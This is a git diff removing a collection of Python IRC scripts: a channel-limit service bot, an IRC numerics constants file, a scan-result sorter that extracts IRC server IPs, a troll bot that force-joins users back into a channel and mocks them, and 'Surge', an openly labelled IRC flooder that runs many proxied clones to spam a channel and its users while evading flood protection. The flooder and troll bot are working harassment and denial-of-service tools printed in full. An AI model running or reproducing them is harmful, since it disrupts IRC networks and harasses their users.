diff --git a/irc/bots/limitserv.py b/irc/bots/limitserv.py
@@ -1,264 +0,0 @@
-#!/usr/bin/env python
-# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-
-import socket
-import threading
-import time
-
-# Configuration
-_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None}
-_cert = {'file':None, 'key':None, 'password':None}
-_ident = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'}
-_login = {'nickserv':None, 'network':None, 'operator':None}
-_throttle = {'limit':300, 'queue':0.5, 'voice':10}
-_settings = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None}
-
-def debug(msg):
- print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason):
- print(f'{get_time()} | [!] - {msg} ({reason})')
-
-def get_time():
- return time.strftime('%I:%M:%S')
-
-class IRC(object):
- def __init__(self):
- self._channels = list()
- self._names = list()
- self._queue = list()
- self._voices = dict()
- self._sock = None
-
- def _run(self):
- Loop._loops()
- self._connect()
-
- def _connect(self):
- try:
- self._create_socket()
- self._sock.connect((_connection['server'], _connection['port']))
- self._register()
- except socket.error as ex:
- error('Failed to connect to IRC server.', ex)
- Event._disconnect()
- else:
- self._listen()
-
- def _create_socket(self):
- self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- if _connection['vhost']:
- self._sock.bind((_connection['vhost'], 0))
- if _connection['ssl']:
- ctx = ssl.SSLContext()
- if _cert['file']:
- ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password'])
- if _connection['ssl_verify']:
- ctx.verify_mode = ssl.CERT_REQUIRED
- ctx.load_default_certs()
- else:
- ctx.check_hostname = False
- ctx.verify_mode = ssl.CERT_NONE
- self._sock = ctx.wrap_socket(self._sock)
-
- def _listen(self):
- while True:
- try:
- data = self._sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- debug(line)
- Event._handle(line)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except Exception as ex:
- error('Unexpected error occured.', ex)
- break
- Event._disconnect()
-
- def _register(self):
- if _login['network']:
- Bot._queue.append('PASS ' + _login['network'])
- Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname']))
- Bot._queue.append('NICK ' + _ident['nickname'])
-
-class Command:
- def _join(chan, key=None):
- Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan)
-
- def _kick(chan, nick, msg=None):
- Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}')
-
- def _mode(target, mode):
- Bot._queue.append(f'MODE {target} {mode}')
-
- def _raw(msg):
- Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8'))
-
- def _sendmsg(target, msg):
- Bot._queue.append(f'PRIVMSG {target} :{msg}')
-
-class Event:
- def _connect():
- if _settings['modes']:
- Command._mode(_ident['nickname'], '+' + _settings['modes'])
- if _login['nickserv']:
- Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv']))
- if _login['operator']:
- Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator']))
-
- def _disconnect():
- Bot._sock.close()
- Bot._names = list()
- Bot._queue = list()
- Bot._voices = dict()
- time.sleep(15)
- Bot.connect()
-
- def _end_of_names(chan):
- limit = str(len(Bot._names) + _settings['limit'])
- if settings['anope']:
- Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot']))
- else:
- Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot']))
- Bot._names = list()
-
- def _join(nick, chan):
- if nick == _ident['nickname'].lower():
- if chan not in Bot._channels:
- Bot._channels.append(chan)
- if chan not in Bot._voices:
- Bot._voices[chan] = dict()
- elif chan in Bot._channels:
- if nick not in Bot._voices[chan]:
- Bot._voices[chan][nick] = time.time()
-
- def _kick(nick, chan, kicked):
- if nick == _ident['nickname'].lower():
- Bot._channels.remove(chan)
- del Bot._voices[chan]
- time.sleep(3)
- Command._join(chan)
- elif chan in Bot._channels:
- if nick in Bot._voices[chan]:
- del Bot._voices[chan][nick]
-
- def _names(chan, nicks):
- for name in nicks:
- if name[:1] in '~!@%&+':
- name = name[1:]
- Bot._names.append(name)
-
- def _nick(nick, new_nick):
- for chan in Bot._voices:
- if nick in Bot._voices[chan]:
- Bot._voices[chan][new_nick] = Bot._voices[chan][nick]
- del Bot._voices[chan][nick]
-
- def _no_such_nick(nick):
- for chan in Bot._voices:
- if nick in Bot._voices[chan]:
- del Bot.voices[chan][nick]
-
- def _part(nick, chan):
- if nick == _ident['nickname'].lower():
- Bot._channels.remove(chan)
- del Bot._voices[chan]
- elif chan in Bot._channels:
- if nick in Bot._voices[chan]:
- del Bot._voices[chan][nick]
-
- def _quit(nick):
- for chan in Bot._voices:
- if nick in Bot._voices[chan]:
- del Bot._voices[chan][nick]
-
- def _handle(data):
- args = data.split()
- if data.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif data.startswith('ERROR :Reconnecting too fast, throttled.'):
- raise Exception('Connection has closed. (throttled)')
- elif args[0] == 'PING':
- Command._raw('PONG ' + args[1][1:])
- elif args[1] == '001': # RPL_WELCOME
- Event._connect()
- elif args[1] == '401': # ERR_NOSUCHNICK
- nick = args[3].lower()
- Event._no_such_nick(nick)
- elif args[1] == '433': # ERR_NICKNAMEINUSE
- raise Exception('Bot is already running or nick is in use.')
- elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY
- chan = args[4].lower()
- names = ' '.join(args[5:]).lower()[1:].split()
- Event._names(chan, names)
- elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
- chan = args[3].lower()
- Event._end_of_names(chan)
- elif args[1] == 'JOIN' and len(args) == 3:
- nick = args[0].split('!')[0][1:].lower()
- chan = args[2][1:].lower()
- Event._join(nick, chan)
- elif args[1] == 'KICK' and len(args) >= 4:
- nick = args[0].split('!')[0][1:].lower()
- chan = args[2].lower()
- kicked = args[3].lower()
- Event._kick(nick, chan, kicked)
- elif args[1] == 'NICK' and len(args) == 3:
- nick = args[0].split('!')[0][1:].lower()
- new_nick = args[2][1:].lower()
- Event._nick(nick, new_nick)
- elif args[1] == 'PART' and len(args) >= 3:
- nick = args[0].split('!')[0][1:].lower()
- chan = args[2].lower()
- Event._part(nick, chan)
- elif args[1] == 'QUIT':
- nick = args[0].split('!')[0][1:].lower()
- Event._quit(nick)
-
-class Loop:
- def _loops():
- threading.Thread(target=Loop._queue).start() # start first to handle incoming data
- threading.Thread(target=Loop._limit).start()
- threading.Thread(target=Loop._voice).start()
-
- def _limit():
- while True:
- try:
- for chan in Bot._channels:
- Bot._queue.append('NAMES ' + chan)
- except Exception as ex:
- error('Error occured in the loop!', ex)
- finally:
- time.sleep(_throttle['limit'])
-
- def _queue():
- while True:
- try:
- if Bot._queue:
- Command._raw(Bot._queue.pop(0))
- except Exception as ex:
- error('Error occured in the queue loop!', ex)
- finally:
- time.sleep(_throttle['queue'])
-
- def _voice():
- while True:
- try:
- for chan in Bot._voices:
- nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']]
- for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]:
- Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item)))
- for subitem in item:
- del Bot._voices[chan][subitem]
- except Exception as ex:
- error('Error occured in the voice loop!', ex)
- finally:
- time.sleep(1)
-
-# Main
-if _connection['ssl']:
- import ssl
-else:
- del cert, _connection['verify']
-Bot = IRC()
-Bot._run()
diff --git a/irc/bots/spiderweb.py b/irc/bots/spiderweb.py
@@ -1,50 +0,0 @@
-#!/usr/bin/env python
-# SpiderWeb IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
-
-'''
-This bot requires network operator privledges in order to use the SAJOIN command.
-The bot will idle in the #spiderweb channel. Anyone leaving the channel will be force joined back.
-'''
-
-import socket
-import ssl
-import time
-
-nickserv_password='CHANGEME'
-operator_password='CHANGEME'
-
-def raw(msg):
- sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-while True:
- try:
- sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
- sock.connect(('localhost', 6697))
- raw(f'USER spider 0 * :CAUGHT IN THE WEB')
- raw('NICK spider')
- while True:
- try:
- data = sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'), line))
- args=line.split()
- if line.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif args[0] == 'PING':
- raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- raw('MODE spider +BDd')
- raw('PRIVMSG NickServ IDENTIFY spider ' + nickserv_password)
- raw('OPER spider ' + operator_password)
- raw('JOIN #spiderweb')
- elif args[1] == 'PART' and len(args) >= 3:
- if args[2]=='#spiderweb':
- nick = args[0].split('!')[0][1:]
- raw(f'SAJOIN {nick} #spiderweb')
- raw(f'PRIVMSG #spiderweb :HA HA HA! IM A BIG ASSHOLE SPIDER AND {nick} IS CAUGHT IN MY SPIDER WEB!!!')
- except (UnicodeDecodeError, UnicodeEncodeError):
- pass
- except:
- sock.close()
- finally:
- time.sleep(15)
diff --git a/irc/bots/surge.py b/irc/bots/surge.py
@@ -1,396 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: utf-8 -*-
-# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/trollbots)
-# surge.py
-
-'''
-- Action
-- Color
-- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
-- Cycle *(Join/Part)*
-- Hilight
-- Invite
-- Message / Private Message
-- Nick
-- Notice
-- Topic
-- Nick Registration (Channel & VHOST also if successful)
-
-The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
-If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
-'''
-
-import argparse
-import concurrent.futures
-import os
-import random
-import ssl
-import socket
-import string
-import sys
-import threading
-import time
-
-class config:
- class connection:
- server = 'irc.server.com'
- port = 6667
- ipv6 = False
- ssl = False
- password = None
- channel = '#chats'
- key = None
-
- class attacks:
- channel = ['action','color','ctcp','msg','nick','notice','part','topic']
- message = 'SURGE SURGE SURGE SURGE SURGE'
- nicklist = ['ctcp','invite','notice','private']
-
- class throttle:
- attack = 3
- concurrency = 3
- threads = 100
- rejoin = 3
- timeout = 15
-
-# Bad IRC Numerics
-bad_numerics = {
- '465' : 'ERR_YOUREBANNEDCREEP',
- '471' : 'ERR_CHANNELISFULL',
- '473' : 'ERR_INVITEONLYCHAN',
- '474' : 'ERR_BANNEDFROMCHAN',
- '475' : 'ERR_BADCHANNELKEY',
- '477' : 'ERR_NEEDREGGEDNICK',
- '519' : 'ERR_TOOMANYUSERS'
-}
-
-def alert(msg):
- print(f'{get_time()} | [+] - {msg}')
-
-def debug(msg):
- print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason=None):
- if reason:
- print(f'{get_time()} | [!] - {msg} ({reason})')
- else:
- print(f'{get_time()} | [!] - {msg}')
-
-def error_exit(msg):
- raise SystemExit(f'{get_time()} | [!] - {msg}')
-
-def get_time():
- return time.strftime('%I:%M:%S')
-
-def keep_alive():
- try:
- while True:
- input('')
- except KeyboardInterrupt:
- sys.exit()
-
-def random_int(min, max):
- return random.randint(min, max)
-
-def random_str(size):
- return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-
-class clone:
- def __init__(self, data_line):
- self.data_line = data_line
- self.invite_channel = '#' + random_str(random_int(4,7))
- self.invite_count = 0
- self.nickname = random_str(random_int(4,7))
- self.nicklist = []
- self.sock = None
-
- def run(self):
- self.connect()
-
- def action(self, chan, msg):
- self.sendmsg(chan, f'\x01ACTION {msg}\x01')
-
- def attack_channel(self):
- while True:
- if not config.attacks.channel:
- error('Channel attack list is empty.')
- break
- else:
- option = random.choice(config.attacks.channel)
- try:
- if option in ('nick','part','topic'):
- if option == 'nick':
- self.nickname = random_str(random_int(4,7))
- self.nick(self.nickname)
- elif option == 'part':
- self.part(config.connection.channel, config.attacks.message)
- time.sleep(config.throttle.rejoin)
- self.join_channel(config.connection.channel, config.connection.key)
- elif option == 'topic':
- self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
- else:
- if self.nicklist:
- message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
- else:
- message = self.rainbow(config.attacks.message)
- if option == 'action':
- self.action(config.connection.channel, message)
- elif option == 'ctcp':
- self.ctcp(config.connection.channel, message)
- elif option == 'msg':
- self.sendmsg(config.connection.channel, message)
- elif option == 'notice':
- self.notice(config.connection.channel, message)
- time.sleep(config.throttle.attack)
- except:
- break
-
- def attack_nicklist(self):
- while True:
- if not self.nicklist:
- error('Nicklist attack list is empty.')
- break
- else:
- try:
- for nick in self.nicklist:
- option = random.choice(config.attacks.nicklist)
- if option == 'ctcp':
- self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
- elif option == 'invite':
- self.invite(nick, self.invite_channel)
- self.invite_count += 1
- if self.invite_count >= 10:
- self.part(self.invite_channel)
- self.invite_channel = '#' + random_str(random_int(5,8))
- self.join(self.invite_channel)
- elif option == 'notice':
- self.notice(nick, config.attacks.message)
- elif option == 'private':
- self.sendmsg(nick, self.rainbow(config.attacks.message))
- time.sleep(config.throttle.attack)
- except:
- break
-
- def connect(self):
- try:
- self.create_socket()
- self.sock.connect((config.connection.server, config.connection.port))
- self.register()
- except socket.error:
- self.sock.close()
- else:
- self.listen()
-
- def create_socket(self):
- family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
- if pargs.proxy:
- proxy_server, proxy_port = self.data_line.split(':')
- self.sock = socks.socksocket(family, socket.SOCK_STREAM)
- self.sock.setblocking(0)
- self.sock.settimeout(config.throttle.timeout)
- self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
- elif pargs.vhost:
- self.sock = socket.socket(family, socket.SOCK_STREAM)
- self.sock.bind((self.data_line, 0))
- if config.connection.ssl:
- self.sock = ssl.wrap_socket(self.sock)
-
- def ctcp(self, target, data):
- self.sendmsg(target, f'\001{data}\001')
-
- def event_connect(self):
- alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
- self.join_channel(config.connection.channel, config.connection.key)
- self.join_channel(self.invite_channel)
-
- def event_end_of_names(self):
- threading.Thread(target=self.attack_channel).start()
- threading.Thread(target=self.attack_nicklist).start()
-
- def event_kick(self, chan, kicked):
- if kicked == self.nickname:
- time.sleep(config.throttle.rejoin)
- self.join_channel(config.connection.channel, config.connection.key)
- else:
- if nick in self.nicklist:
- self.nicklist.remove(nick)
-
- def event_names(self, chan, names):
- for name in names:
- if name[:1] in '~!@%&+:':
- name = name[1:]
- if name != self.nickname and name not in self.nicklist:
- self.nicklist.append(name)
-
- def event_nick_in_use(self):
- self.nickname = random_str(random_int(5,8))
- self.nick(self.nickname)
-
- def event_quit(self, nick):
- if nick in self.nicklist:
- self.nicklist.remove(nick)
-
- def handle_events(self, data):
- args = data.split()
- if args[0] == 'PING':
- self.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- self.event_connect()
- elif args[1] == '353':
- chan = args[4]
- if ' :' in data:
- names = data.split(' :')[1].split()
- elif ' *' in data:
- names = data.split(' *')[1].split()
- elif ' =' in data:
- names = data.split(' =')[1].split()
- else:
- names = data.split(chan)[1].split()
- self.event_names(chan, names)
- elif args[1] == '366':
- self.event_end_of_names()
- elif args[1] == '401':
- name = args[3]
- if name in self.nicklist:
- self.nicklist.remove(name)
- elif args[1] == '404':
- if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
- config.attacks.channel.remove('action')
- elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
- config.attacks.channel.remove('color')
- elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
- config.attacks.channel.remove('ctcp')
- elif 'You need voice' in data or 'You must have a registered nick' in data:
- for attack in ('action','ctcp','msg','notice','topic'):
- if attack in config.attacks.channel:
- config.attacks.channel.remove(attack)
- elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
- self.attacks_channel.remove('notice')
- elif args[1] == '433':
- self.event_nick_in_use()
- elif args[1] == '447':
- if 'nick' in config.attacks.channel:
- config.attacks.channel.remove('nick')
- elif args[1] == '482':
- if 'topic' in config.attacks.channel:
- config.attacks.channel.remove('topic')
- elif args[1] == '492':
- if 'ctcp' in config.attacks.nicklist:
- config.attacks.nicklist.remove('ctcp')
- elif args[1] == '499':
- if 'topic' in config.attacks.channel:
- config.attacks.channel.remove('topic')
- elif args[1] == '518':
- if 'invite' in config.attacks.nicklist:
- config.attacks.nicklist.remove('invite')
- elif args[1] in bad_numerics:
- error('Flood protection has been enabled!', bad_numerics[args[1]])
- self.sock.close()
- elif args[1] == 'KICK':
- chan = args[2]
- kicked = args[3]
- self.event_kick(chan, kicked)
- elif args[1] == 'QUIT':
- nick = args[0].split('!')[0][1:]
- self.event_quit(nick)
-
- def invite(self, nick, chan):
- self.raw(f'INVITE {nick} {chan}')
-
- def join_channel(self, chan, key=None):
- if key:
- self.raw(f'JOIN {chan} {key}')
- else:
- self.raw('JOIN ' + chan)
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if line):
- if len(line.split()) >= 2:
- self.handle_events(line)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except:
- break
- self.sock.close()
-
- def nick(self, nick):
- self.raw('NICK ' + nick)
-
- def notice(self, target, msg):
- self.raw(f'NOTICE {target} :{msg}')
-
- def part(self, chan, msg):
- self.raw(f'PART {chan} :{msg}')
-
- def rainbow(self, msg):
- if 'color' in config.attacks.channel:
- message = ''
- for i in range(random_int(10,20)):
- message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
- message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
- for i in range(random_int(10,20)):
- message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
- else:
- message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
- return message
-
- def raw(self, msg):
- self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
- def register(self):
- if config.connection.password:
- self.raw('PASS ' + config.connection.password)
- self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
- self.nick(self.nickname)
-
- def sendmsg(self, target, msg):
- self.raw(f'PRIVMSG {target} :{msg}')
-
- def topic(self, chan, text):
- self.raw(f'TOPIC {chan} :{text}')
-
- def unicode(self, msg):
- start = 0x1000
- end = 0x3000
- message = ''
- for i in range(random.randint(100,150)):
- message = message + chr(random.randint(start, end))
- message = message + msg
- for i in range(random.randint(100,150)):
- message = message + chr(random.randint(start, end))
-
-
-# Main
-print('#'*56)
-print('#{0}#'.format(''.center(54)))
-print('#{0}#'.format('Surge IRC Flooder'.center(54)))
-print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
-print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
-print('#{0}#'.format(''.center(54)))
-print('#'*56)
-parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
-parser.add_argument('input', help='file to scan')
-parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
-parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
-pargs = parser.parse_args()
-if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
- error_exit('Invalid arguments.')
-if pargs.proxy:
- try:
- import socks
- except ImportError:
- error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
-if not os.path.isfile(pargs.input):
- error_exit('No such input file.')
-data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
-debug(f'Loaded {len(data_lines)} lines from file.')
-random.shuffle(data_lines)
-for i in range(config.throttle.concurrency):
- with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
- checks = {executor.submit(clone(line).connect): line for line in data_lines}
- for future in concurrent.futures.as_completed(checks):
- checks[future]
-debug('Flooding is complete.')
-\ No newline at end of file
diff --git a/irc/constants.py b/irc/constants.py
@@ -1,228 +0,0 @@
-#!/usr/bin/env python
-# internet relay chat constants - developed by acidvegas in python (https://git.acid.vegas/random)
-
-# Control Characters
-bold = '\x02'
-color = '\x03'
-italic = '\x1D'
-underline = '\x1F'
-reverse = '\x16'
-reset = '\x0f'
-
-# Color Codes
-white = '00'
-black = '01'
-blue = '02'
-green = '03'
-red = '04'
-brown = '05'
-purple = '06'
-orange = '07'
-yellow = '08'
-light_green = '09'
-cyan = '10'
-light_cyan = '11'
-light_blue = '12'
-pink = '13'
-grey = '14'
-light_grey = '15'
-
-# Events
-PASS = 'PASS'
-NICK = 'NICK'
-USER = 'USER'
-OPER = 'OPER'
-MODE = 'MODE'
-SERVICE = 'SERVICE'
-QUIT = 'QUIT'
-SQUIT = 'SQUIT'
-JOIN = 'JOIN'
-PART = 'PART'
-TOPIC = 'TOPIC'
-NAMES = 'NAMES'
-LIST = 'LIST'
-INVITE = 'INVITE'
-KICK = 'KICK'
-PRIVMSG = 'PRIVMSG'
-NOTICE = 'NOTICE'
-MOTD = 'MOTD'
-LUSERS = 'LUSERS'
-VERSION = 'VERSION'
-STATS = 'STATS'
-LINKS = 'LINKS'
-TIME = 'TIME'
-CONNECT = 'CONNECT'
-TRACE = 'TRACE'
-ADMIN = 'ADMIN'
-INFO = 'INFO'
-SERVLIST = 'SERVLIST'
-SQUERY = 'SQUERY'
-WHO = 'WHO'
-WHOIS = 'WHOIS'
-WHOWAS = 'WHOWAS'
-KILL = 'KILL'
-PING = 'PING'
-PONG = 'PONG'
-ERROR = 'ERROR'
-AWAY = 'AWAY'
-REHASH = 'REHASH'
-DIE = 'DIE'
-RESTART = 'RESTART'
-SUMMON = 'SUMMON'
-USERS = 'USERS'
-WALLOPS = 'WALLOPS'
-USERHOST = 'USERHOST'
-ISON = 'ISON'
-
-# Event Numerics
-RPL_WELCOME = '001'
-RPL_YOURHOST = '002'
-RPL_CREATED = '003'
-RPL_MYINFO = '004'
-RPL_ISUPPORT = '005'
-RPL_TRACELINK = '200'
-RPL_TRACECONNECTING = '201'
-RPL_TRACEHANDSHAKE = '202'
-RPL_TRACEUNKNOWN = '203'
-RPL_TRACEOPERATOR = '204'
-RPL_TRACEUSER = '205'
-RPL_TRACESERVER = '206'
-RPL_TRACESERVICE = '207'
-RPL_TRACENEWTYPE = '208'
-RPL_TRACECLASS = '209'
-RPL_STATSLINKINFO = '211'
-RPL_STATSCOMMANDS = '212'
-RPL_STATSCLINE = '213'
-RPL_STATSILINE = '215'
-RPL_STATSKLINE = '216'
-RPL_STATSYLINE = '218'
-RPL_ENDOFSTATS = '219'
-RPL_UMODEIS = '221'
-RPL_SERVLIST = '234'
-RPL_SERVLISTEND = '235'
-RPL_STATSLLINE = '241'
-RPL_STATSUPTIME = '242'
-RPL_STATSOLINE = '243'
-RPL_STATSHLINE = '244'
-RPL_LUSERCLIENT = '251'
-RPL_LUSEROP = '252'
-RPL_LUSERUNKNOWN = '253'
-RPL_LUSERCHANNELS = '254'
-RPL_LUSERME = '255'
-RPL_ADMINME = '256'
-RPL_ADMINLOC1 = '257'
-RPL_ADMINLOC2 = '258'
-RPL_ADMINEMAIL = '259'
-RPL_TRACELOG = '261'
-RPL_TRYAGAIN = '263'
-RPL_NONE = '300'
-RPL_AWAY = '301'
-RPL_USERHOST = '302'
-RPL_ISON = '303'
-RPL_UNAWAY = '305'
-RPL_NOWAWAY = '306'
-RPL_WHOISUSER = '311'
-RPL_WHOISSERVER = '312'
-RPL_WHOISOPERATOR = '313'
-RPL_WHOWASUSER = '314'
-RPL_ENDOFWHO = '315'
-RPL_WHOISIDLE = '317'
-RPL_ENDOFWHOIS = '318'
-RPL_WHOISCHANNELS = '319'
-RPL_LIST = '322'
-RPL_LISTEND = '323'
-RPL_CHANNELMODEIS = '324'
-RPL_NOTOPIC = '331'
-RPL_TOPIC = '332'
-RPL_INVITING = '341'
-RPL_INVITELIST = '346'
-RPL_ENDOFINVITELIST = '347'
-RPL_EXCEPTLIST = '348'
-RPL_ENDOFEXCEPTLIST = '349'
-RPL_VERSION = '351'
-RPL_WHOREPLY = '352'
-RPL_NAMREPLY = '353'
-RPL_LINKS = '364'
-RPL_ENDOFLINKS = '365'
-RPL_ENDOFNAMES = '366'
-RPL_BANLIST = '367'
-RPL_ENDOFBANLIST = '368'
-RPL_ENDOFWHOWAS = '369'
-RPL_INFO = '371'
-RPL_MOTD = '372'
-RPL_ENDOFINFO = '374'
-RPL_MOTDSTART = '375'
-RPL_ENDOFMOTD = '376'
-RPL_YOUREOPER = '381'
-RPL_REHASHING = '382'
-RPL_YOURESERVICE = '383'
-RPL_TIME = '391'
-RPL_USERSSTART = '392'
-RPL_USERS = '393'
-RPL_ENDOFUSERS = '394'
-RPL_NOUSERS = '395'
-ERR_NOSUCHNICK = '401'
-ERR_NOSUCHSERVER = '402'
-ERR_NOSUCHCHANNEL = '403'
-ERR_CANNOTSENDTOCHAN = '404'
-ERR_TOOMANYCHANNELS = '405'
-ERR_WASNOSUCHNICK = '406'
-ERR_TOOMANYTARGETS = '407'
-ERR_NOSUCHSERVICE = '408'
-ERR_NOORIGIN = '409'
-ERR_NORECIPIENT = '411'
-ERR_NOTEXTTOSEND = '412'
-ERR_NOTOPLEVEL = '413'
-ERR_WILDTOPLEVEL = '414'
-ERR_BADMASK = '415'
-ERR_UNKNOWNCOMMAND = '421'
-ERR_NOMOTD = '422'
-ERR_NOADMININFO = '423'
-ERR_FILEERROR = '424'
-ERR_NONICKNAMEGIVEN = '431'
-ERR_ERRONEUSNICKNAME = '432'
-ERR_NICKNAMEINUSE = '433'
-ERR_NICKCOLLISION = '436'
-ERR_USERNOTINCHANNEL = '441'
-ERR_NOTONCHANNEL = '442'
-ERR_USERONCHANNEL = '443'
-ERR_NOLOGIN = '444'
-ERR_SUMMONDISABLED = '445'
-ERR_USERSDISABLED = '446'
-ERR_NOTREGISTERED = '451'
-ERR_NEEDMOREPARAMS = '461'
-ERR_ALREADYREGISTRED = '462'
-ERR_NOPERMFORHOST = '463'
-ERR_PASSWDMISMATCH = '464'
-ERR_YOUREBANNEDCREEP = '465'
-ERR_KEYSET = '467'
-ERR_CHANNELISFULL = '471'
-ERR_UNKNOWNMODE = '472'
-ERR_INVITEONLYCHAN = '473'
-ERR_BANNEDFROMCHAN = '474'
-ERR_BADCHANNELKEY = '475'
-ERR_BADCHANMASK = '476'
-ERR_BANLISTFULL = '478'
-ERR_NOPRIVILEGES = '481'
-ERR_CHANOPRIVSNEEDED = '482'
-ERR_CANTKILLSERVER = '483'
-ERR_UNIQOPRIVSNEEDED = '485'
-ERR_NOOPERHOST = '491'
-ERR_UMODEUNKNOWNFLAG = '501'
-ERR_USERSDONTMATCH = '502'
-RPL_STARTTLS = '670'
-ERR_STARTTLS = '691'
-RPL_MONONLINE = '730'
-RPL_MONOFFLINE = '731'
-RPL_MONLIST = '732'
-RPL_ENDOFMONLIST = '733'
-ERR_MONLISTFULL = '734'
-RPL_LOGGEDIN = '900'
-RPL_LOGGEDOUT = '901'
-ERR_NICKLOCKED = '902'
-RPL_SASLSUCCESS = '903'
-ERR_SASLFAIL = '904'
-ERR_SASLTOOLONG = '905'
-ERR_SASLABORTED = '906'
-ERR_SASLALREADY = '907'
-RPL_SASLMECHS = '908'
diff --git a/irc/efkh.py b/irc/efkh.py
@@ -1,68 +0,0 @@
-#!/usr/bin/env python
-# EFKnockr Helper - Developed by acidvegas in Python (https://acid.vegas/random)
-
-import json
-
-_bnc = list()
-_irc = list()
-_unknown = list()
-
-def _parse_data():
- with open('netking.json','r') as _data_file:
- for _line in _data_file:
- _data = json.loads(_line)
- if 'product' in _data:
- if _data['product'] in ('BitlBee IRCd','psyBNC','Minbif','ShroudBNC irc-proxy'):
- _bnc.append(_line)
- else:
- _irc.append(_line)
- else:
- if 'data' in _data:
- if 'bitlbee' in _data['data'].lower() or 'psybnc' in _data['data'].lower() or 'shroudbnc' in _data['data'].lower():
- _bnc.append(_line)
- else:
- if ':***' in _data['data'] or 'Looking up your hostname' in _data['data']:
- _irc.append(_line)
- else:
- if 'PHP Notice' not in _data['data']:
- if 'NOTICE' in _data['data']:
- _irc.append(_line)
- else:
- _unknown.append(_line)
- else:
- _unknown.append(_line)
-
-def _write_data():
- with open('bnc.json','w') as _bnc_file:
- for _line in _bnc:
- _bnc_file.write(_line)
- with open('irc.json','w') as _irc_file:
- for _line in _irc:
- _irc_file.write(_line)
- with open('unknown.json','w') as _unknown_file:
- for _line in _unknown:
- _unknown_file.write(_line)
-
-_parse_data()
-_write_data()
-
-print('BNC: ' + str(len(_bnc )))
-print('IRC: ' + str(len(_irc )))
-print('???: ' + str(len(_unknown)))
-
-_ips = list()
-
-def _parse_ips():
- with open('irc.json','r') as _data_file:
- for _line in _data_file:
- _data = json.loads(_line)
- _ips.append(_data['ip_str'])
-
-def _write_ips():
- with open('clean.txt','w') as _clean_file:
- for _line in _ips:
- _clean_file.write(_line + '\n')
-
-_parse_ips()
-_ips = sorted(set(_ips))
-_write_ips()
diff --git a/irc/hueg-hexchat.pl b/irc/hueg-hexchat.pl
